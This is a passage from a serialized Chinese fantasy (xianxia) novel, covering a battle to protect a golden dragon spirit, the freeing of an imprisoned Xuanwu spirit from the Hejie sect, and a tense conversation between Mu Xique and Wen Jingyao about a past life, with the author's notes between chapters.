处于山谷旁的弟子拔地腾飞,上百人以瘦弱身躯挡在刀影下,漫天血雾落进山谷,那柄巨刀的速度竟然生生被这些弟子的血肉和骨骼截停一瞬,又再次劈斩下去。 却有更多人冲上前,试图用渺小的身影挡住一个渡劫修士的刀,用他们的血肉,以尸骨无存为代价截停这把刀。 即使他们的生命,他们爆裂的金丹只能拖慢这柄刀砍向金龙的速度。 但无怨无悔,无人后退。 随泱和薛青菱也再顾不上祟种,与慕未缈一起,三位化神境修士一起冲上虚空,迎上那个执刀的黑衣男子。 朝蕴拖着骨裂的腿摔倒在地,她仰头看着一半弟子以血肉阻挡那柄刀,这天好像下了一场血雨,混着雪花落进山谷。 可再多的人也挡不住渡劫修士的半数修为凝出的长刀,刀影已经劈下山谷,直冲谷底而去。 朝蕴忽然起身,不顾断掉的腿和刺穿皮肤裸露在外的腿骨,她狂奔而去,纵身跃下山谷,速度竟比那柄刀影还快。 拖着一身伤匆匆赶来的蔺九尘和姜榆,以及仅剩的三千慕家弟子只来得及看到她消失在山谷旁的衣摆。 “师娘!” “家主!” 铮—— 巨大的声响响彻在山谷内,回音阵阵。 蔺九尘和姜榆扑到山谷旁,两个人早已泪流满面。 而虚空中打斗的几人也齐齐一怔,黑衣男子垂眸看去,那柄长刀它悬停在距离山底百丈的地方,它竟然停在一个元婴修士的身前。 不,它不是停在一个元婴修士身前。 它停在一枚水滴模样的玉坠面前。 那太过渺小,像是个耳坠一般,在如山般庞大的长刀面前,像是蚍蜉撼树。 可它就是截停了他的刀。 山谷内,朝蕴张开双臂悬停在虚空,她挡在那柄巨刀面前,可这柄刀却并未将她劈成血雾,它离她的面门只有一寸。 朝蕴看着这枚不该出现在她身上的水滴玉石,多年前,慕峥将它赠予她。 ——这是慕家家主的护体玉灵,传承万年,可保平安,你比我的性命重要,阿蕴,我将它赠予你。 可对朝蕴来说,两个女儿比她的性命重要,于是在慕夕阙订婚的那日,她做成璎珞送了出去,它应该一直挂在慕夕阙的脖颈上。 可它现在在她身上,慕峥说得对,万年前有一只玉灵在里面留下了强大的力量,无人知晓这只玉灵是谁。 “慕、夕、阙!”虚空之中脸戴面具的人一字一句咬牙切齿,他冲下山谷,直冲朝蕴而去。 随泱、薛青菱和慕未缈化为三道流光,奔下山谷,拦在他面前。 琼筵山血流满地,到处都是尸骸。 淞溪主城内还在下雪,可忽然间,有一人冲出街道,她看着远处的山,厉声喊道:“你们没看到那柄刀影吗,他们要杀玉灵啊!你们真的坐得住吗!” 家家户户都点着灯,其实无人睡,谁又能睡得着? “他们要杀金龙,要杀玉灵,要毁掉淞溪!是金龙在庇佑我们,寒潮,大雪,虫灾,洪涝,都是它在保护我们!” 那柄遮天蔽日的刀影,这么大的刀,它要杀的是谁,难道想不出来吗? 那些人杀的只是慕家吗? 那个年轻的女子擦去脸上的泪痕,踩着到膝盖的雪,提着一根木棍转身朝琼筵山跑,边跑边骂:“孬种,一群孬种!” 而这次,又有扇门打开。 一个身形魁梧的男子是城东的铁匠,穿着单薄,举着铁叉。 “我跟你去!” 那把刀影像是一团火融化了森寒,它烧在所有人的眼里,点起他们心中的怒火,令这些在鹤阶和一些世家眼里手无缚鸡之力的凡人,也敢用自己手中的武器,或是一根木棍,或是一把铁锹,冲向有祟种、有敌人的地方。 千家万户打开了紧闭的门。 而万里之外,与淞溪的大雪满地截然不同,鹤阶温暖如春。 议事堂内坐了十几个人,他们刚喝完酒,正托着腮看向淞溪的方向。 闻沉今日也饮了些酒,道:“都死了这么多人,看来慕家真的没有计划,慕夕阙也是蠢笨。” “一个经商的世家,除了有钱,要不是占了个十二辰和万年前除祟镇秽的名声,早就没落了,你指望慕家跟几个世家打!”一人仰头大笑,笑声猖狂。 “不过慕家还真是腰缠万贯,你知道吗,前些时日清算,十三州竟有一半产业为慕家所有!” 有钱,独占十二辰,还弱小,能活下万年都已是不易。 大殿内笑个不停,今日鹤阶弟子出动一半守着青城师家和东浔闻家,长老也去了一半,整个鹤阶又出动三成去围攻慕家,在鹤阶这里的也就只剩下十几个长老和两成弟子。 一个长老喝得糊糊涂涂,视线模糊之中,他看到一道身影从天际奔来。 以为自己眼花,他揉了揉眼。 比意识更快的,是一柄割喉而过的长剑,鲜血迸射,疼痛让他清醒,却又马上令他糊涂,死去的前一刻,他看到一张明艳的脸。 慕夕阙对他笑:“喝得愉快吗?那就上路吧。” 她看着这些醉得要站不起来的人,以及闻讯赶来的鹤阶弟子。 而另一侧,闻惊遥独身奔向浮重山。 他握紧天罡篆,冷风扬起他高束的马尾,所有围杀的弟子和长老都被慕夕阙拦下,他一路顺畅,奔向浮重山顶。 他站在山巅,垂眸看向这山谷,那里有一只被镇压了七千年的玉灵。 天罡篆祭出,悬在虚空。 一个时辰是慕夕阙从祭墟赶到鹤阶的时间,闻惊遥记得慕夕阙的话。 她的眸子仍旧明亮,纵使满身的伤也挡不住她的锐气。 “我要你用天罡篆,将浮重山的地脉给我切了,让这座山崩裂,将鹤阶的山毁掉,放玉灵离开。” 慕夕阙要他崩裂这座山,放出玄武。 慕夕阙要毁掉鹤阶的命脉。 作者有话说:薛青菱是周云姝的母亲,然后这个护体玉灵,不知道还有没有宝宝们记得,是小慕和小闻订婚的那日,朝家主送给小慕的,之前东浔事变的时候,白望舟和燕如珩还讨论过这枚护体玉灵,很强大的。 神器神力掏空后,修养几个月就会好的,十二辰不会有事的~ 这一章反复修改,今天更新晚了,发个红包[撒花] 第63章 第 63 章 “我们去海边,我们去找…… 天罡篆主地方八极, 掌管地脉。 每座山都坐落在地脉上,千万地脉支撑了千万座山,如星罗棋盘般隐藏在地下, 随着天罡篆悬浮在虚空,倏然变为足够蔽日的篆盘。 慕夕阙站在院内, 血水洇透了她这身金衣, 她手中的剑在滴血,十几具尸身倒在她身后的厅内,而她的周围也已尸横遍地, 她孤身看着前方因畏惧不敢上前,只能将她团团围起的鹤阶弟子。 被围住的经历她有过不少次,被鹤阶的弟子围杀也已成家常便饭, 甚至有些人, 她可以叫得出名字。 轰隆巨响传来, 地面撼动摇晃, 众人慌忙抬眸看去, 鹤阶背靠那座高耸的浮重山,这些年山上的灵兽越来越少,直至几乎消失殆尽, 而为了掩人耳目,鹤阶只能用灵力维持山上的树木仍旧郁郁葱葱。 可此刻, 碎石滚落, 百根深邃的裂痕从山底一路向上盘绕,鹤阶留下的灵印消失, 靠灵力强行支撑的绿意枯萎,露出它本来的模样,满山的树, 在过去不知哪一年,早已枯黄凋零。 一座山容纳了山灵,山灵也会赐予这座山生机,而没有山灵,这座山便只是石头堆砌出来的石堆罢了。 有弟子道:“浮……浮重山……浮重山崩了!” 慕夕阙仰头看去,那座山的地脉被切断,碎石不断滚落,砸碎鹤阶的楼阁飞檐,昔日的辉煌被这些石头砸个稀碎,鹤阶的威望也在此刻破裂。 鹤阶庇佑一方城池,主城的百姓走出家门,望向高耸的浮重山。 他们跪地高呼:“玄武……玄武要抛弃鹤阶,抛弃我们!” 他们不明白,他们信奉的玄武怎么会要离开,它为何要出山! 而万里之外,正准备一刀砍杀慕未缈的黑衣男子顿住,他忽然侧身闪避,躲开一块天际旋转奔来的盔甲。 那枚背甲速度极快,一瞬万里,从鹤阶到淞溪慕家有几万里,灵舟要飞上四五个时辰,连他一个渡劫修士都得瞬移一个时辰,这枚鳞甲却只用了不到一刻钟。 它旋转奔来,划出利风,玄青色的背甲从每个人头顶划过,众人只觉眼前一暗,它已到跟前,向四方扩展为如一座山般大小。 铮然一声巨响,那枚背甲卡在山渊内,金龙的身长不可估量,而玄武的背甲也能延展成有千丈的鳞甲,它坚不可摧,牢牢挡在了金龙面前。 这是玄武的背甲。 鹤阶的长老弟子们愣住,随后瞳眸惊惧颤抖,声音破碎:“玄武出山了!” 黑衣男子陡然望向浮重山的方向。 他几乎咬碎了牙关,苍灰色的眼眸中浮出血丝:“给我滚,滚回鹤阶,拦住玄武!” 方才还在鏖战的弟子们赶忙奔上灵舟,急速奔离。 蔺九尘趁其不备,纵身跃下山谷想要带走朝蕴,两人正要往上走,便见戴了鎏金面具的黑衣男子化为一道光影,冲下山谷,抬手操控悬停在虚空的刀影,巨刀比方才还大,以迅雷之势骇然劈下。 “朝蕴,你女儿干的好事!” 随泱、慕未缈以及薛青菱快速奔来,速度却根本抵不过这人。 这人宛如疯了般,周身罡风大涨变为坚不可摧的罡罩,随泱几人近不了身,只能看那柄巨刀劈在朝蕴身前,砍在那枚玉坠的结界前。 青蓝色的玉石上浮现蛛网般的裂纹,慕家弟子们一起跃下山谷,试图冲破这人的结界罡罩营救家主。 “家主!” 滔天光亮炸开,将所有人掀飞,巨兽在咆哮,它的声音穿透万里,浑厚有力。 那是一只玄武的青影,它从背甲上跃出,抬首昂扬,四蹄怒蹬,带着千年的怒意和孤注一掷的反击,毫不畏惧冲向那柄遮天蔽日的巨刀。 玉灵之怒,足以荡平一切。 从家门中跑出,手扛木棍铁锹的百姓们将及膝的雪踩出了千万条路,他们跑向琼筵山,可此刻,众人听到沉闷的嚎声。 他们仰头望去,玄青色的光亮如漫天繁星冲向天际,照亮了虚空中飘扬落下的雪花,撕开了黑夜。 他们好像看到了一只玄武。 那些青色的光组成了一只玄武的身影。 十三州只有一只玄武,它栖息在浮重山,护佑万里的百姓。 密林之中,越疏棠看着头顶的虚空中一艘艘离开的灵舟,以及方才出现的玄武幻影。 迟笙在她身后,她年岁小,无法压制自己内心的激动,胸腔内心跳如雷,她望着虚空中出现又逐渐消散的玄武身影,青光碎为点点星光,如倒钩的烟火般落下。 “阿姐……那,那是……那是玄武!” 还是第一次这般近距离看到玉灵,海外仙岛有两只玉灵,但无人见过它们,海外仙岛的人也也只是见过画像,谁又能想到,如今她们能见到一只玉灵的模样。 那是玄武,龟蛇合体,肃重威严。 可越疏棠只激动片刻,她按住迟笙颤抖的手,强行拽回她的神智。 “你可有见到影杀?” 蔺九尘让她们躲着观战,并未请她们出手,如果这么多人围杀,那么她们两人也帮不上什么忙,他便安排她们在四处观局。 迟笙愣了下,摇摇头:“没有,这些人虽然穿着统一,但都未蒙面,我没见到有熟悉的脸。” 甚至没有熟悉的招式,影杀的招式,她们不会认不出来。 影杀的人只有三千人,大家在一起这么多年,总会有几个熟悉面孔的。 一张熟悉的脸都没有,一个熟悉的招式都认不出来,要么影杀根本没来,要么来了,但是并未出手。 为何不出手呢? 越疏棠忽然抬眸看向山顶,她匆匆往山上奔,迟笙不明所以,跟在她身后一路奔去。 越疏棠边跑边拿起慕夕阙给她的玉符,她想要联络蔺九尘,可山顶不知什么情况,竟然一个人都未接。 两人一路奔去,有不少零散的慕家弟子也跟着一同往山上跑,在急速奔跑的途中,越疏棠疾声问:“慕家刚才上去支援的弟子有多少!” “说是三千。” “留守淞溪主城的慕家弟子总共多少人?” “一万七千八百三十四人。” 山脚留守三千,山腰留守五千,其余弟子全部留守山谷前,可她们方才一路观战,山脚和山腰死去的慕家弟子起码四千,这里从四面八方零散追随而来的还有两千人左右。 方才上去的弟子怎么会有三千的? 迟笙忽然听明白了,她边跑边说:“影杀杀手擅易容术,阿姐,你怀疑——” 越疏棠却提气纵身,将修为不高的弟子牢牢甩在身后,她急速奔去。 而山顶之上,随着玄武青光消失,与之一同消失的,还有那个黑衣男子,以及六个被玄武之力击杀的祟种。 玄武天生便有镇煞解厄的力量,鹤阶便利用它来镇压祟种。 未来得及逃跑的鹤阶和另外三大世家的弟子被慕家弟子扣下,姜榆泪流满面,看着山谷之下。 她并未看到一团血雾,她看到蔺九尘背着朝蕴腾空跃上,将朝蕴放在地上,慕家弟子们一同涌上去。 “师娘!” “家主!” 朝蕴捂嘴咳嗽,血沿着指缝涌出,她望着漫天坠落的青光,以及这些遍体鳞伤的弟子,闭眼长叹一声,握紧手中险些破碎的玉坠。 “是小夕,是她。” 玉坠是她留下的,玄武的背甲也是她请来的。 朝蕴艰难站起身,她与众人一同站在山谷旁,垂眸往下看,那枚背甲上的玉灵之力方才已用来重创逼退那个渡劫修士,如今这就只是一枚略显坚硬的盾牌罢了,它卡在山壁之上,护着沉睡在山谷底部的金龙。 有弟子喃喃自语:“这算是……躲过去了吗?” “我们护住金龙了吗?” 朝蕴笑了下,轻声道:“嗯。” 蔺九尘站在她身侧,垂眸看向山谷。 虚空之中,随泱看着那枚背甲,长呼一口气:“累死了,慕二小姐救我一条狗命,我可帮她上刀山下火海了,这次得敲慕家一笔。” 慕未缈拱手道:“多谢随公子和薛老夫人,待慕家调整生息后,定会备上重礼酬谢。” 薛青菱还未开口,随泱一摇折扇,笑嘻嘻道:“有劳有劳,在下爱金子,多给些就行。” 随泱爱钱,慕家最不缺钱,慕未缈闻言笑了笑,微微颔首应下。 薛青菱便也不再说话,她多年未打过架,如今只觉疲累,刚要从虚空离开去歇息会儿,余光一瞥,瞳孔微颤。 “朝夫人!” 长剑刺穿了血肉,从身前穿出,朝蕴惊恐回眸,蔺九尘挡在她身后,一把细长的剑自他的胸口穿出,他呕出一口深红的血,修挺的眉头紧皱。 “阿尘!” “大师兄!” 蔺九尘颓然向前倒去,朝* 蕴赶忙接住他,而身后那些穿着慕家衣裳的弟子们,竟有不少人拔出了武器,捅向身旁的人。 弟子们迅速反应,连忙躲开,拔出武器迎敌。 一共有将近六七百人,修为强盛,杀招迅捷。 随泱、慕未缈和薛青菱正要奔去地面支援,余光一闪,一人从远处忽然出现,他的速度极快,纵身跃下山谷,一刀砍在了龟壳之上。 大乘修士全力一击,已失去玉灵之力庇佑的龟壳上浮现裂纹,而他已举起长刀,准备再次劈下,这龟壳根本撑不了他的第二刀。 随泱几人只能放弃支援弟子,跃下山谷。 可比他们更快的,是一支从北侧射来的利箭,它的速度极快,箭身擦着长刀而过,迸射出激烈的火花。 夜迢回眸去看,对侧的山峰之上,一名紫衣女子肃身正立,她看着他的脸,明明面色仍旧冷静,可眸子里却满是不可置信。 “啧,狼心狗肺、吃里扒外的东西。”夜迢淡声开口。 只是这一瞬停息,三位化神境修士已经逼至面前,而慕家的支援也已赶来,战局瞬间扭转,夜迢没工夫再打,身影化为流光,纵身离开。 今夜事变太多,没想到越疏棠也在这里,定是她率先觉察出了,如今援兵已至,三位化神境修士围堵,那人又被逼退离开,要杀金龙定是费功夫。 影杀爱钱,却不会无端将命留下。 影杀的杀手们井然有序撤离,慕家弟子要去追,被朝蕴厉声喝住:“死守金龙,不许离开!” 越疏棠放下弓,她看着那道瞬间消失在天际的身影,手在抖,整个人都仿佛被打碎了般,不多时,只觉得眼前一片模糊。 她透过模糊的视线,看到对侧的山峰之上,跟随慕家弟子赶来的迟笙,她也同样如此,望着天际离开的身影。 养育她们长大,宛如义父的人,明明一心教导她们持剑为道,到头来,他才是那个握刀的刽子手。 姜榆跪地,看着蔺九尘胸口不断涌出的血,她失声痛哭,试图捂住他的血:“师兄,师兄……” 朝蕴慌了神智,几乎在嘶吼:“医修呢!医修!” 所有人都在哭,姜榆和朝蕴的眼泪落在蔺九尘的脸上,他咳嗽不断,颤颤巍巍抬起手。 姜榆以为他有话要说,哭着俯身,蔺九尘却抬手,揪住她的耳朵,咬牙切齿说:“我去年生辰,你送的护体灵盾是不是仿制品,怎么会被人一击捅碎了!” 姜榆忽然愣住。 朝蕴一怔,忙探他的伤 心脉未伤,那柄利剑仿佛被无形的力量偏移了位置,避开了他的心口,留下了穿体的伤。 姜榆来不及多想,赶忙为蔺九尘服下灵丹,只要心脉未断,这些剑伤便都不算事,他吃了几颗灵丹后果然见好,血瞬间止住。 蔺九尘坐起身,皱眉咳嗽,望向对侧山峰的越疏棠。 作为慕家的大弟子,蔺九尘见过慕家的每一个弟子,所有弟子都信任他,在察觉跟他上山的弟子中多了些陌生面孔,而越疏棠并未出声提醒他有影杀的人出没时,他便已经猜出,有人浑水摸鱼了。 “小夕走前告诉过我,不确定此次进攻慕家的人有什么策略,是否会有我们不知道的势力参与,以及慕家的叛贼是否全数揪出,敌在暗,难以防备,那就走一步看一步,随机应变。” 影杀的杀手们,定会想办法先对慕家的领头人出手,譬如慕家家主长老,以及几个首席弟子,于是蔺九尘寸步不离跟着朝蕴。 姜榆反应过来,忽然动手推了他一把:“师姐怎么只跟你说!” 蔺九尘捂着胸口,倒吸一口凉气:“你年纪小,什么都摆在脸上,跟你说了,你演得下去了,不得提心吊胆,定会让人看出来!” 而若是跟朝蕴说,她定会分心,一边提防是否有埋伏,一边忧心金龙。 朝蕴忽然松了气,跌坐在地。 蔺九尘道:“也不算毫无收获,起码炸出了一个人。” 他看向对侧的越疏棠,她仍望着夜迢消失的方向,纵使心中猜测过她信任的阁主可能不清白,可当猜测验证,支撑她这么多年的道心好似破碎了。 从她的惊愕神情中,他便能看出,方才那人确实是影杀的阁主。 朝蕴也看过去,冷声道:“影杀阁主也来了,他们果然涉足了十三州。” 蔺九尘却说:“师娘,小夕和我交代过,当年师父出事的灵舟上,有十四人,还有一人身份不明,模样年轻,但修为强盛,能与那个渡劫修士并肩而立。” 朝蕴忽然侧眸看过去:“你的意思是……” 蔺九尘道:“或许是他,影杀阁主。”- 百姓们跪在地上,他们哭着向上天挽留玄武,却只能眼睁睁看着那座山崩裂。 浮重山内的流霞湖直通海域,百姓们冲去城外的流霞湖经流之地,那里已跪了乌泱泱的人,他们看着远处的河流中有什么东西急速游来,它突出的背脊隐约露了一点在水面上,湖水被背脊分割成两道流痕。 “玄武!玄武!” 百姓们在高呼它的名字,想要留住这只山灵。 被镇压束缚了七千年的玄武停下,庞然大物渐渐浮出水面,曾经只存在于画像上的玄武露出了真容,周围雅雀无声,它的体型庞大到如一座小山般大小,龟背缠绕的蛇身昂起头,龟壳中伸出的龟首也在看着他们。 一只眼睛,都如一栋高楼般大,这条在百姓眼里宽广无垠的湖,对它来说太小了。 它漏出了被锁链捆缚的脖颈和四肢,蛇身和龟背上全是勒痕,似乎有人举起了灯,百姓们借着昏暗的光,看清了这条湖。 玄武一路游来,血染红了湖面。 “你们信奉的鹤阶,一直以来都在镇压这只玉灵,看到它身上的勒痕了吗?” 有人在说话,众人抬眸看去,一栋高楼之上站着两人,一人着金衫,一人着青衣。 慕夕阙垂眸看向玄武:“这条湖对你太小了,沿着这条湖一直走,万里之外,是海。” 玄武朝她点了点硕大的头颅,它看了眼这些百姓,最后头也不回,不顾他们的挽留和哭嚎,抛下它守了万年的城池,去向更宽广的海。 海边有陆地,可以建造城池。 海里有岛,可以容纳它的身躯。 用不了百年,它会成为一座新城池的玉灵,继续庇佑这些百姓,用自己的福泽为他们抵挡天灾。 这个地方会没落,但另一个地方会兴起,山灵们会永远延续它们的使命。 “玄武!玄武!” 有人在追着它跑,可这只头也不回的山灵游到更深的水域,一头扎入水底。 他们怔愣,看着玄武抛弃这座城池。 随着玄武远去,百姓们仰头,看到了雪。 大寒来临,失去玄武的福泽,终年温暖的城池也迎来了一场大雪。 再过几日,或许便有洪涝,虫灾。 有人忽然指着高处的慕夕阙:“是你们!慕二小姐,十三州圣尊!你们劈碎了浮重山,你们赶走了我们的玉灵!” “把玄武还回来,把我们的玄武还回来!” “混账,你们这些混账,一定会遭天谴的!” 若非这些百姓没有修为,跃不上来,慕夕阙和闻惊遥怕已被围住。 闻惊遥皱眉,冷声道:“方才与你们已说,赶走玄武的并不是我们,而是鹤阶的作恶。” “放屁!鹤阶怎么可能对玄武出手!他们怎么有能力镇压玄武!” “把我们的山还回来,把我们的玄武找回来!十三州的叛徒,你们是叛徒!” …… 慕夕阙看着这些百姓们,有人在痛苦,有人浑浑噩噩,有人被点起了怒火。 对未来的恐惧让他们没办法正常思考,急欲发泄怒火,慕夕阙被骂过很多次,前世被修士们,被百姓们指着鼻子、戳着脊梁骨骂。 骂她私占十二辰不肯镇压祭墟,骂她手段残忍重创两谷三家,骂她杀人无数,骂她意图谋戮鹤阶,百姓们不知真相,慕夕阙也从一开始的恨转变为了无所谓。 她仍会顺手救人,却不会再为自己辩解。 甚至重生之时,她想过这名声也不要了,她要叛出这整个十三州,只要能杀了鹤阶,杀了所有仇人,大不了最后她一死了之不连累慕家,叛贼就叛贼。 可如今,她忽然不想沉默了,她并无罪,这罪人名声为何要加在她头上? 慕夕阙忽然拔剑,剑光落进湖里挑起水帘,宛如下了一场雨,那些沾着血迹的水落在岸边的百姓身上,引起一阵尖叫。 她淡声道:“闻到了吗?” 有人尖叫:“你疯了?” 慕夕阙只看着他,又问了一遍:“闻到了吗,玄武的血。” 玄武的伤实在太多,一路游来整片湖都是它的血,神兽的血圣洁纯粹,只有淡淡的腥味,可百姓们安静下来,看着自己被浇湿的身体,泼洒在身上的血迹。 闻到了,闻到了玄武的血。 “玉灵怎么可能会无故抛弃城池,抛弃百姓?”慕夕阙冷眼看着他们,“你们只顾着自己,可有仔细看过它身上的伤,那些经年累月留下来的伤早已勒进它的血肉骨骼,要长上多少年才能补回来,只记住它抛弃你们,却想不起它过去对你们的庇佑吗?” 这里有上万人,他们安静或站或跪,空气中都是那股淡淡的血腥气。 忽然有人道:“玄武要去哪里!” 慕夕阙道:“沿着这条湖一直走,走到有海的地方,它会在那里等你们。” “那我们也去!”一个男子站起身,拽起自己瘫坐在地的妻子,他抱着年幼的孩子,“我是不会捕鱼为生,但我有手有脚可以去学,只要有玉灵在的地方,庄稼就能好好长,到时候我去捕鱼,我妻子和爹娘仍旧在家种庄稼。” 有时候,只需要一个人说话便可。 “我这就回家收拾东西,我们去海边!” “我们在那里建一座城池,玄武会继续庇佑我们的,如今吃一顿鱼虾价钱昂贵,若是去了海边,那还不是什么都有?” “我们去海边,我们去找玄武!” 慕夕阙站在高处,看不断有百姓离开,回到自己的家里,收拾行囊。 庄稼不要了,店铺也不要了,没有玉灵在的地方,天灾不断,他们是活不下去的。 所以他们要走,要走到有玉灵的地方,要追着玄武走。 这十三州从不缺陆地,不缺山峰,有地便能种庄稼,有山便能容纳山灵,新的城池会出现,新的领头人也会与玄武契约,而它会再次融入那座山,用牺牲自由为代价,守护它的子民。 百姓的信奉会让它强大,它的庇佑会保百姓岁丰年稔,家殷人足。 他们要走,要离开鹤阶的城池,去往有玄武的海边。 作者有话说:玄武其实是龟蛇合体的,之前没写明白,只提了一嘴,前面的章节加了些详细的描述,这个形象可能不太好想象,汉代以前的玄武图案是只有玄龟,但后续演变的很多神话故事里,它是龟蛇合体,象征长寿和智慧~ 大家猜猜海外仙岛的玉灵是什么呀,有两只~ 第64章 第 64 章 目的 慕夕阙看着那些百姓离开, 她垂眸,湖面早已恢复平静,雪落在湖上很快融化, 但玄武离开,不出一月这条湖便会被冻上, 大寒会让庄稼长不出来。这座城最后只会成为一座空城。 属于鹤阶的子民, 已经离开了。 闻惊遥别过头,掩嘴呕出一口血,他垂眸, 摊开掌心,血液已成深红色,证明他的肺腑已重创。 慕夕阙像是没注意, 又像是注意了但不关心, 她跃下高楼, 沿着这条早已空旷的街道走, 她的灵舟在前面空旷的地方停着。 身后有人跟上, 隔着不远不近的距离。 “夕阙。”闻惊遥忽然开口。 慕夕阙顿住,她并未回头,鹅毛雪落在她的金钗上, 融在青丝中,有些化为露水, 尚未来得及融化的则在她的黑发中增添一点霜白。 闻惊遥道:“在来之前, 我已托阿娘取来了天镜,提前派各地暗桩, 秘密向各个世家送去密函。” 天镜并非鹤阶的东西,可以宣告十三州的天镜在其他世家,东浔闻家也只能高价求借。 他劈山之际, 天镜就悬立在天幕中,将冲出碎石挣脱锁链的玄武照得一清二楚,这只遍体鳞伤的山灵是如何头也不回离开浮重山的。 而闻惊遥送的密函,是一封未留署名,用利箭射在各个世家。 ——天罡篆原主为灵翠谷陈家老祖,窃珠藏宝,私灭家族,屠戮玉灵,积恶余殃。 陈家灭门蹊跷,陈家玉灵是十三州创立以来第一只为人祸所杀的玉灵。 谋戮加之囚禁玉灵,便是得罪神明,那么来日业报或许便会报到自己头上,玄武离开了这座城池,在多数人眼里看来,便是业报了。 闻惊遥朝她走近,他踩在雪上,沙沙的雪能没过鞋底。 “你要用天罡篆做的事情,便是这些是吗?” 慕夕阙并未回他,而是接着走,直到上了灵舟,她进入船舱内,不多时便觉察灵舟腾飞,沿着另一条路飞往淞溪慕家,应是闻惊遥上了灵舟。 船舱内的窗开着,慕夕阙并不惧寒冷,早已习惯,她盘腿坐在靠窗蒲团上,看着窗外的雪,大寒席卷了这座城,席卷了方圆千里。 门被打开,有人走进来,在她身后单膝蹲下,自后亲昵搂住她,下颌枕在她的肩头。 慕夕阙闻到他身上清寒的雪意和浓重的血气,她并未推他,冷眼看着窗外。 闻惊遥闭上眼,轻声道:“夕阙。” 慕夕阙没说话。 两人安静很久,闻惊遥的呼吸逐渐重了几分,慕夕阙感知到有温热的水珠沿着她的脖颈下滑,她怔了片刻,意识到那是闻惊遥的眼泪。 “你说的前世确实存在,夕阙,我在掏空天罡篆挥出那一击的时候,看到了不属于现世的记忆。” 慕夕阙皱眉,闻惊遥并未重生,他到底为何能看到这些,她至今也想不明白,就好像,她也不明白,为何重生的只有她自己。 “我看到爹娘死了,东浔主城尸横遍野,比这一世还要惨重。” 慕夕阙搭在膝上的手悄无声息攥紧。 果然,她猜得没错,闻承禺和庄漪禾都死了,纵使闻承禺已是未雨绸缪,提前布局,可他并非无所不能,也并非事事都能料到。 他冷静,但却并不心狠,这样的人对上早已泯灭良知、不顾业报的鹤阶和那些贪婪世家,定是要吃亏的。 “那你说……夕阙,我为他们报仇了吗?” 闻惊遥似乎只看到了一闪而过的记忆,并不知详情。 慕夕阙却笑了声:“没啊。” 她转身,看着闻惊遥,两人距离很近,她盯着他的眼睛,戳着他的心口。 “我也纳闷,闻家主和庄夫人死了,你身为闻家人却还当着这个鹤阶圣尊,你甚至都未替他们报仇,仍在给他们卖命,你的良心呢?” “我探过你有没有被夺舍,闻惊遥。”慕夕阙的呼吸抖了几分,很轻很轻,“很可笑是吗,我不敢相信你会是这样的人,可你没有被夺舍,你没有,你还是闻惊遥,你到底有什么苦衷,可以做这些事?” 什么苦衷都无法让他清白。 他抱得太紧了,慕夕阙动用灵力,一掌拍在他的肩头推开了他,看他垂下眼睛,淡然擦去自己唇边溢出的血,脸色苍白到好似一阵风吹就能倒下。 动用天罡篆切碎一座山的地脉,这极其消耗寿数,对自身的反冲极大。 “你爹娘死了,东浔也死了许多人,可是青鸾还在呢,青鸾在,东浔就在,可我呢?” 慕夕阙的眼底微红,她并不想哭,可鼻尖的酸涩是她没办法忍受的,每当想起那个画面,痛苦刻骨镂心。 “我的家人同门全都死了,我们的金龙也死了,金龙它死了,你知道吗?” 淞溪的玉灵没了,淞溪也没了。 毁灭慕夕阙的并非只是慕家的灭门,更是金龙的死去,淞溪的消亡。 闻家所有人都可以死,但是青鸾不能。 慕家所有人也可以去死,但是金龙得活着。 慕夕阙别过头,看着窗外的雪:“你知道为了保护金龙,这一次我们慕家要死多少人吗,可是上一辈子,金龙死在我们根本来不及保护它的时候,它是第一个死的,你懂我们慕家满门揣着什么样的心死去的吗,那是愧疚,是能压垮人的愧疚。” 愧对于金龙,愧对于淞溪百姓们。 “所以闻惊遥,无论走这条路会让我失去多少人,受多少伤,就算是日后被人戳脊梁骨,痛骂满手杀孽,我也绝不停下,直到所有威胁慕家和金龙的存在都消失殆尽。” 从窗外扫进来的雪太过森寒了,闻惊遥明明习惯了寒冷,却仍觉得血液仿佛被冻上,令他直觉一阵刺骨的疼痛。 可慕夕阙明明喜欢温暖,迎着凛冽的大雪,她却面无表情,坦然自若,好似早已习惯。 十年的云川牢狱,让她习惯了寒冷,习惯了霜雪。 闻惊遥看着她的背影,仍旧笔直,可在他的记忆里,最后她死的时候比现在还要消瘦几分,几乎到了孱弱地步。 “你说得对,无论我有什么苦衷,都无法让自己清白。” 闻惊遥垂眸,他席地坐在甲板上,看着自己衣摆上的血迹。 “夕阙,你就再忍忍,马上就能报仇了。” 鹤阶失去了子民,失去了威望,他们要揪出的叛变世家大多也已露面,只差让恶人伏诛便能还一个清正的世间,乾坤肃清,万世太平。 他这个罪人,自也会为前世的罪伏诛- 鹤阶的雪已经没过了脚踝。 留守鹤阶的长老全数阵亡,包括闻沉这个闻家的叛贼,弟子也死了大半,他们站在门口,从东浔和青城撤回的弟子们也都到了鹤阶。 众人望着崩裂的浮重山,满山碎石将威严辉煌的鹤阶砸了个稀巴烂,连竖立在中心的神像都被劈了,玄武不愿再当鹤阶的玉灵,这神像自然也没必要留了。 到这种时候,他反而笑了。 鎏金面具下的脸是俊秀的,往日总是挺直的腰杆在今日却弯了些,他擦去唇角的血,玄武的那一击应是带了怒意和报复的,反冲的威压将他砸出了重伤。 “玄武呢?” 纪挽春咬牙,小声道:“它……它的速度太快了,已经到海域了,那附近万里还有两只玉灵,当康和重明鸟在那边,玉灵会相互庇佑,咱们不好再捉它回来。” “那些百姓呢?” “……从三个时辰前到现在,已经走了三成的百姓,约莫不出几月,这附近的城镇应当都会空掉,人太多了,咱们不好当面阻拦,何况十三州已经知晓……” 十三州所有人都看到了天镜,若这时候再对百姓出手,定会引起众怒,他们鹤阶虽一家独大,却也不敌这一百多个世家和千万的百姓们。 纪挽春只能硬着头皮,低下头道:“慕二小姐太过聪慧,她似乎能预料到咱们的每一步——” 话还未说完,面前的人一拂宽袖,罡风将上百人掀飞在地,纪挽春砸到墙上跌下来,他捂住胸口呕出一口血。 “我也想知道她到底怎么知道这么多的!你不是说慕二脾气爆性子冲吗,如今你看她可有半分冲动,工于心计,城府深沉,沉稳冷静,这就是你们查的慕二?” 他走过去,半蹲下来,一把拽起纪挽春的领子,苍灰色的眼睛看着他。 “我以为以她的性子,不可能眼睁睁看慕家的人死这般多的,定会想办法赶回来,没想到这也是她计划里的一环啊,你说她这是心狠,还是冷静啊?” 明知道她这一走,慕家定会死不少人,可她还是走了,还是去镇压了祭墟,从祭墟出来没有回宗,在宗门被围攻的时候,她还能冷静地闯入鹤阶。 